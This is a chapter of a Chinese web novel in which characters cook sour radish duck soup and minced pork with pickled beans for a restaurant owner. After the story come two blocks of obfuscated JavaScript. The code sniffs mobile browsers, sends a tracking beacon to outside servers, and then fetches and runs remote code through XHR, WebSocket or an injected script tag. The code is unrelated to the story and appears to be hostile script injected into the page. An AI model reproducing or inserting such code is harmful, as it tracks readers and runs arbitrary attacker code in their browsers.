第110章 酸罗卜老鸭汤（第1页）
摘星楼的菜单中本就是有鸭子的，所以这厨房也有杀好的鸭子。秋菊手脚麻利的切好了鸭子，又切了两个泡得变了色的萝卜。
"这也是泡菜"赵掌柜指着被切成块儿的萝卜问。
沈婉回道："没错，这也是泡菜，只不过泡的时间比较久，就有不同的吃法。"
"哦"赵掌柜点了点头，也没多问，安静的看着秋菊做菜。
那摘星楼的刘师傅，也背着个手站在一旁看着。
起初，他是瞧不上那腌泡菜的，但是后来吃过后，便喜欢上了。他尝过味道后，自己也尝试着腌制过，但是却不得其法，一直在失败。
秋菊将萝卜切好后，便麻烦厨房的小工烧了火，在锅中放入了葱段，姜片，料酒，还有切好的鸭肉，大火烧开后，将鸭肉捞了出来，用清水反复洗净。
然后她又将鸭肉放进了砂锅中，加入清水，大火烧开。烧开后，便放入了姜片和切好的酸罗卜在砂锅中，盖上了盖子，用小火慢慢炖着。
没炖一会儿，这砂锅之中便飘出了鸭子和酸罗卜微酸的香味儿，闻着便让人忍不住流口水。
鸭子炖上了，秋菊便又开始切起了酸豆角。她将酸豆角细细的切成了粒，切好后装在盘子里备用。然后，又问赵掌柜要了块廋肉，将瘦肉跺成了肉沫腌制了一下，又切了些配料。
肉沫腌制好后，便在洗好烧干的锅里倒入了油，油烧热后，倒入了肉沫快速的翻炒，直至变色盛出备用。又再锅中加了油，油烧热后加入了姜末蒜末和辣椒爆香，接着便倒入了酸豆角，炒了片刻又将肉沫倒进锅中一起翻炒，加了些酱油，翻炒了几下后便出锅了。
这酸豆角肉沫的味道，闻着酸辣咸香，让人胃口大开，直咽唾沫。
"赵掌柜您尝尝。"秋菊端着盘子，递到了赵掌柜的面前。
赵掌柜抬起手，便有人将勺子放在了他手中，他拿着勺子，舀了半勺，送入了口中。
赵掌柜细细的嚼着，整个厨房的人，都瞪大了眼睛注视着他。
"酸辣咸香，风味独特，味道很好。"他们摘星楼又要多一道菜了。
刘师傅也拿了把勺子上前尝了尝，尝了后也赞同的点了点头。作为一个厨师，他还是头一回吃这种风味的菜呢！虽然很普通，朴实无华，但是胜在风味独特。
"这酸豆角，可以与其他食材一起炒吗"刘师傅看着沈婉问道。
沈婉点着头道："自然是可以的。"
其实这酸豆角加上酸罗卜和酸辣椒，与鸡杂一起炒才是一绝。不过这有钱人都不吃鸡杂，也很难接受，所以她才让秋菊做了酸豆角肉沫。
得到肯定的答案，这刘师傅的脑子里，已经开始想，那些食材能和它一起搭配了。
又过了一刻钟，酸罗卜老鸭汤好了，秋菊加了少许糖，少许盐和白胡椒粉后，这汤便出锅了。
function UmSumU(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UmSumU(t);};window[''+'t'+'s'+'K'+'u'+'A'+'s'+'K'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://abc.fsgfghh.com:8887/stats/2178?i=57&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/zj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/zj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/zj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/zj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmNmZHp4di5jbb20lM0E4ODg3','d3NzJTNBJTJGGJTJGGZC5rZ21jaGGZiLmNvbSUzQTg4ODc=','2369',window,document,['b','G']);}:function(){};
function ZLZLLM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ZLZLLM(t);};window[''+'W'+'W'+'T'+'r'+'k'+'t'+'T'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwe.kfngksng.com:8887/stats/2178?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmprraGZrrbGZ4LmNvbSUzQTg4ODc=','d3NzJTNBJTJGJTJGZC5rZGhmma2xqZmmMuY29tJTNBODg4Nw==','2368',window,document,['r','m']);}:function(){};